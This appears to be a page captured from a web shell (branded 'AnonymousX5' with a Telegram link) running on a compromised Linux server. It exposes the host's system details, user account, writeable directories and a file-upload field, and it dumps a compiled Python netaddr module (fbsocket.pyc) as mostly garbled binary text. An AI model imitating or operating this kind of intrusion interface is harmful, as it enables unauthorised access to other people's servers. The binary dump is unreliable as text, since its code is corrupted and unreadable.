https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/netaddr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/netaddr/fbsocket.pyc
�
o�\c@sodZddlmZmZddlmZmZdZ	dZ
d�Zd�Zd�Z
d	�Zd
�ZdS(s=Fallback routines for Python's standard library socket modulei����(tunpacktpack(t_bytes_joint_is_strii
cCs]t|�s+tdtt|����nt|�dkrLtd��ndtd|�S(sR
    Convert an IP address from 32-bit packed binary format to string format.
    sstring type expected, not %sis*invalid length of packed IP address strings%d.%d.%d.%dt4B(Rt	TypeErrortstrttypetlent
ValueErrort_unpack(t	packed_ip((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt	inet_ntoas
cCs�g}g}d}d}x�t|�D]u\}}|dkr_|dkrR|}n|d7}n.|dkr�|j||f�nd}d}|j|�q%W|dkr�|j||f�nt|�dkr�|jdd��|d}x+|D]#}|d|dkr�|}q�q�W|\}	}
|d|
!dg||
|	}|ddkrl|jdd�n|ddkr�|jd�q�n|S(Nit0itkeycSs|dS(Ni((tx((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt<lambda>9sti����(tNonet	enumeratetappendRtsorttinsert(ttokenst
new_tokenst	positionststart_indext
num_tokenstidxttokent
best_positiontpositiontlengtht	start_idx((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt_compact_ipv6_tokenss:	



 c

Csw|tkrt|�S|tkrct|�dksAt|�rPtd��ngtd|�D]}d|^q`}ttd|��}d}x>tt	|��D]*\}}|}|d|>}||B}q�Wd|ko�dkns�|d?dkrPt
d	g|d
D]}t|d�^q�}t|�}	|dd
!|	g}ndjt
|��Std|��d
S(sBConvert an packed IP address of the given family to string format.is*invalid length of packed IP address strings>8Hs%xii��I����i s>2Hi����t:sunknown address family %dN(tAF_INETRtAF_INET6RRR	R
tlistRtreversedt_packtinttjoinR"(
tafRtiRtwordstint_valtnumtwordtpacked_ipv4tipv4_str((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt	inet_ntopLs$
&,/cCst|�r�td|�}|jd�}t|�dkr�g}x�|D]�}|jd�s�|jd�r�t|�dkr�|�nyt|�}Wntk
r�|�nX|d?dkr�|�n|jtd	|��qJWt|�S|�ntd
t	|���dS(s
    Convert an IP address in string format (123.45.67.89) to the 32-bit packed
    binary format used in low-level network functions. Differs from inet_aton
    by only support decimal octets. Using octal or hexadecimal values will
    raise a ValueError exception.
    sillegal IP address string %rt.it0xR
iiitBs#argument should be a string, not %sN(
RR	tsplitRt
startswithR)RR(RR(t	ip_stringtinvalid_addrRR-Rtoctet((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt_inet_pton_af_inetks$
0	

	
	c
Cs�|tkrt|�S|tkr�td|�}g}t|�sM|�nd|krb|�nd|kr�|dkr�dj�dSy|jd�\}}Wntk
r�|�nXg}g}|dkr�|jd�}n|dkr|jd�}nt|�r~d|d	kr~t|j��}|j	d
t
d|dd
!�d�|j	d
t
d|d
d!�d�nt|�t|�}	d|	ko�dkns�|�ndt|�t|�}
g|D]}tdt|d��^q�gt
|
�D]}dj�^qg|D]}tdt|d��^q%}yMxF||D]:}t|d�}
d|
ko�dknsX|�qXqXWWq�tk
r�|�q�Xn�d|kr�|jd�}d|kr�|d	 }|d	 dddddgkr
|�n|d	j�dkr,|�nt|�dkrG|�nt|j��}|j	d
t
d|dd
!�d�|j	d
t
d|d
d!�d�g|D]}tdt|d��^q�}nt|�dkr�|�ny\g|D]}t|d�^q�}x3|D]+}d|ko5dkns|�qqWWntk
ra|�nXg|D]}td|�^qi}n|�t|�Std|��dS(s|
    Convert an IP address from string format to a packed string suitable for
    use with low-level network functions.
    sillegal IP address string %rRs::tiRR#R4i����s%xs>Hiiiiiti��R
tffffisUnknown address family %dNi(R
R?(R$R<R%R	RtencodeR7RtpopRR
R(R)trangetlowerR(R+R9R:tvaluestprefixtsuffixtl_prefixtl_suffixR2ttoken_counttgap_sizeR,RR0Rtipv6_prefix((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt	inet_pton�s�
		

%(	K,


			%%.	"


%
N(t__doc__tstructRR
RR(tnetaddr.compatRRR$R%RR"R3R<RL(((s3/tmp/pip-install-zM1pc4/netaddr/netaddr/fbsocket.pyt<module>s	
	/		"

https://t.me/AnonymousX5 - 2025